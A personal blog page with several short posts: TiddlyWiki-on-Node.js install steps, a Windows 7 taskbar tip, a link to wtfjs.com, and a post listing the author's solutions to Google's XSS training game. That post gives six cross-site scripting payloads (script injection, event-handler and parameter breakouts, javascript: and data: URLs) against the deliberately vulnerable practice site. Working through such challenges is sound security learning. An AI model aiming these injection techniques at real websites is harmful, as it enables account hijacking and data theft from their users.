Jun 8, 2014

TiddlyWiki on Node.js

Start getting the TiddlyWiki on Node.js and here is the steps I installing them.

Installation

  1. Install Node.js from http://nodejs.org (I've done this before).
  2. From the shell:
sudo npm install -g tiddlywiki
  1. Check the installation from the shell:
tiddlywiki --version
  1. Initialize the server:
tiddlywiki zdwiki --init server
  1. Start it: 
tiddlywiki zdwiki --server

Jun 3, 2014

My XSS-game Solution at Google AppSpot

This is the solution that I had tried out the XSS challenges at Google AppSpot, xss-game.appspot.com.

Level 1:
  • https://xss-game.appspot.com/level1/frame?query=-->+<script>alert('level1');</script>

Level 2:
  • <img src="" onmouseover="javascript:alert('level2');">

Level 3:
  • https://xss-game.appspot.com/level3/frame#1' onmouseover="javascript:alert('level3');"

Level 4:
  • https://xss-game.appspot.com/level4/frame?timer=');alert('level4')<!--

Level 5:
  • https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('level5');"

Level 6:
  • https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('foo')

Reference:
  • https://www.google.com/about/appsecurity/learning/xss/index.html


May 14, 2014

Quick Switch in Windows 7

If you found that the new Windows 7 feature (popup previews for all the same windows) is irritating, here is the trick: hold down the ctrl key while you click the button, you will immediately be taken to the last window of that type that you had open.

May 8, 2014

wtfjs

Today I come across an interesting website that learn to make Javascript a bit different: wtfjs.com.

About
JavaScript is a language we love despite it giving us so much to hate. This is a collection of those very special irregularities, inconsistencies and just plain painfully unintuitive moments for the language of the web.